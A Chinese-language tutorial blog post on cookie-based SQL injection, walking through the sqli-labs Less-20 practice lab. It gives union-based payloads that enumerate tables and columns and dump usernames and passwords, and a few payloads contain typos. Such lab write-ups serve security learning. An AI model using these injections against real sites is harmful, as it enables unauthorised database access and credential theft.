1. 程式人生 > 其它 >sql注入--------(http頭注入--cookie注入)

sql注入--------(http頭注入--cookie注入)

http注入------cookie注入

一、cookie的基本概念

               Cookie 並不是它的原意“甜餅”的意思, 而是一個儲存在客戶機中的簡單的文字檔案, 這個檔案與特定的 Web 文件關聯在一起, 儲存了該客戶機訪問這個Web 文件時的資訊, 當客戶機再次訪問這個 Web 文件時這些資訊可供該文件使用。由於“Cookie”具有可以儲存在客戶機上的神奇特性, 因此它可以幫助我們實現記錄使用者個人資訊的功能, 而這一切都不必使用複雜的CGI等程式  舉例來說, 一個 Web 站點可能會為每一個訪問者產生一個唯一的ID, 然後以 Cookie 檔案的形式儲存在每個使用者的機器上。如果使用瀏覽器訪問 Web, 會看到所有儲存在硬碟上的 Cookie。在這個資料夾裡每一個檔案都是一個由“名/值”對組成的文字檔案,另外還有一個檔案儲存有所有對應的 Web 站點的資訊。在這裡的每個 Cookie 檔案都是一個簡單而又普通的文字檔案。透過檔名, 就可以看到是哪個 Web 站點在機器上放置了Cookie(當然站點資訊在檔案裡也有儲存) ;
         也就是說cookie是記錄客戶端快取的一種資訊,紀錄客戶端的id資訊等到客戶端進入網站時,網站會根據cookie呼叫相應的快取檔案; 二、cookie注入               cookie通常以http請求頭的方式傳送給伺服器,但是一些網站資料庫對使用者傳送的cookie沒有進行嚴格的過濾,這就使通關拼接sql語句進行惡意查詢存在可能; 三、例析             這裡我們以sqllabs靶場less20進行實踐;              開啟靶場,發現是一個登入頁面,輸入使用者名稱admin進入,頁面回顯了user-agent,cookie;猜測這裡存在cookie注入點,這裡使用hacker外掛進行演示,當然也可以使用burp進行抓包修改cookie;
             首先,在cookie上輸入admin' and 1=1 # 和admin' and 1=2# 發現回顯頁面不同,所以這裡可能存在字元型注入點;     確定存在字元型漏洞後使用order by函式進行子段數查詢; payload:  uname=admin' and 1=2 order by  4#  當輸入欄位數為三時,頁面回顯正常,而為四時頁面回顯出現錯誤,說明只存在三個欄位      已經測得字元數,接下來使用聯合查注的方法查詢回顯位; payload:username=admin' and 1=2 union select 1,2,3 #

根據頁面我們可以1,2,3均為回顯位;所以我們可以使用回顯位顯示出我們想要查詢的內容;

得到回顯位後接下來就是查詢資料庫和版本號;

payload: username= admin' and 1=2 union slect 1,database(),version() #

得到資料庫後我們就可以查詢資料庫中有哪些表;

payload:username=admin' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' #

通過查詢得到了資料庫裡面有那些表,然後我們就可以查詢列名;

payload:username=admin' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'#

最後,就是username,password兩個欄位的內容;

payload:username=admin' and 1=2 union select 1,2group_concat(username,password) from users #

到這裡我們就得的了lusername和paaaword;